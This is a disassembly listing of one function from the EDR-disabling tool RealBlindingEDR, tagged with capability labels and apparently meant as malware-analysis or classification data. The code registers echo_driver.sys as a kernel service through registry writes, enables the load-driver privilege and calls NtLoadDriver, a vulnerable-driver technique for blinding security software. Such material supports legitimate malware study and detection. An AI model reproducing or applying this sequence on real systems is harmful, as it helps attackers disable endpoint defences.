Function at 0x140042350
Capabilities:
Persist via windows service
Set registry value

Disassembly:
jmp 0x140049770
push rbp
push rdi
sub rsp, 0x288
lea rbp, [rsp + 0x30]
lea rdi, [rsp + 0x30]
mov ecx, 0x66
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
lea rcx, [0x1400f30a5]
call fcn.14004319c
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SystemCurrentControlSet
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x140049a76
lea r8, [rbp + 0x28]
lea rdx, str.RealBlindingEDR
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x140049a76
mov edx, 1
mov ecx, 0x400
call fcn.140041c57
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140049808
xor eax, eax
jmp 0x140049a84
lea rcx, [0x1400cc578]
call fcn.140041649
mov r8, rax
lea rdx, [0x1400cc578]
mov rcx, qword [rbp + 0x48]
call fcn.14004182e
lea rcx, str.C:ProgramDataecho_driver.sys
call fcn.140041649
mov qword [rbp + 0x248], rax
lea rcx, [0x1400cc578]
call fcn.140041649
mov rcx, qword [rbp + 0x48]
add rcx, rax
mov rax, rcx
mov rcx, qword [rbp + 0x248]
mov r8, rcx
lea rdx, str.C:ProgramDataecho_driver.sys
mov rcx, rax
call fcn.14004182e
mov rcx, qword [rbp + 0x48]
call fcn.140041649
inc rax
mov dword [rsp + 0x28], eax
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.ImagePath
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x1400498b3
lea rcx, str.Step1_Error_n
call fcn.14004179d
xor eax, eax
jmp 0x140049a84
lea rax, [rbp + 0x64]
mov rdi, rax
xor eax, eax
mov ecx, 4
rep stosb byte [rdi], al
mov dword [rbp + 0x64], 1
mov dword [rsp + 0x28], 4
lea rax, [rbp + 0x64]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.Type
mov rcx, qword [rbp + 0x28]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x14004990c
lea rcx, str.Step2_Error_n
call fcn.14004179d
xor eax, eax
jmp 0x140049a84
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SystemCurrentControlSet_services
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x14004994d
lea r8, [rbp + 0x28]
lea rdx, str.RealBlindingEDR
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
jmp 0x140049960
lea rcx, str.Step3_Error_n
call fcn.14004179d
xor eax, eax
jmp 0x140049a84
mov rcx, qword [rbp + 8]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbp + 0xa8], rax
cmp qword [rbp + 0xa8], 0
jne 0x14004999b
lea rcx, str.Step4_Error_n
call fcn.14004179d
xor eax, eax
jmp 0x140049a84
lea rdx, str.RtlInitUnicodeString
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xc8], rax
lea rdx, str.NtLoadDriver
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0xe8], rax
lea rdx, str.RtlAdjustPrivilege
mov rcx, qword [rbp + 0xa8]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp + 0x108], rax
lea r9, [rbp + 0x124]
xor r8d, r8d
mov edx, 1
mov ecx, 0xa
call qword [rbp + 0x108]
mov dword [rbp + 0x144], eax
cmp dword [rbp + 0x144], 0
jge 0x140049a25
lea rcx, str.Step5_Error_n
call fcn.14004179d
xor eax, eax
jmp 0x140049a84
lea rdx, str.RegistryMachineSystemCurrentControlSetRealBlindingEDR
lea rcx, [rbp + 0x168]
call qword [rbp + 0xc8]
lea rcx, [rbp + 0x168]
call qword [rbp + 0xe8]
mov dword [rbp + 0x84], eax
cmp dword [rbp + 0x84], 0
jl 0x140049a5e
mov eax, 1
jmp 0x140049a84
mov edx, dword [rbp + 0x84]
lea rcx, str.Error_Code:___lx_n
call fcn.14004179d
xor eax, eax
jmp 0x140049a84
lea rcx, str.Reg_Add_Error__n
call fcn.14004179d
xor eax, eax
mov rdi, rax
lea rcx, [rbp - 0x30]
lea rdx, [0x1400cb120]
call fcn.1400428d7
mov rax, rdi
lea rsp, [rbp + 0x258]
pop rdi
pop rbp
ret